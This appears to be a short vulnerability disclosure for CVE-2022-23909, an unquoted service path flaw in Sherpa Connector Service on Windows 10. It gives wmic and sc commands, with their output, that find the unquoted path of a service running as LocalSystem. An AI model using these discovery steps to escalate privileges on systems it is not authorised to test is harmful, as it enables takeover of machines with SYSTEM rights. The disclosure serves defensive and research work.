Sherpa Connector Service 2020.2.20328.2050 Unquoted Service Path Vulnerability

# Exploit Title:  Sherpa Connector Service (v2020.2.20328.2050) - Unquoted Service Path
# Exploit Author: Manthan Chhabra (netsectuna), Harshit (fumenoid)
# Version: 2020.2.20328.2050
# Vendor Homepage: http://gimmal.com/
# Vulnerability Type: Unquoted Service Path
# Tested on: Windows 10
# CVE: CVE-2022-23909


# Step to discover Unquoted Service Path:


C:\>wmic service get name,displayname,pathname,startmode | findstr /i "sherpa" | findstr /i "auto" |findstr /i /v "c:\windows\\" |findstr /i /v """

Sherpa Connector Service                                                            Sherpa Connector Service                                C:\Program Files\Sherpa Software\Sherpa Connector\SherpaConnectorService.exe                                            Auto


C:\>sc qc "Sherpa Connector Service"

[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: Sherpa Connector Service
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files\Sherpa Software\Sherpa Connector\SherpaConnectorService.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : Sherpa Connector Service
        DEPENDENCIES       : wmiApSrv
        SERVICE_START_NAME : LocalSystem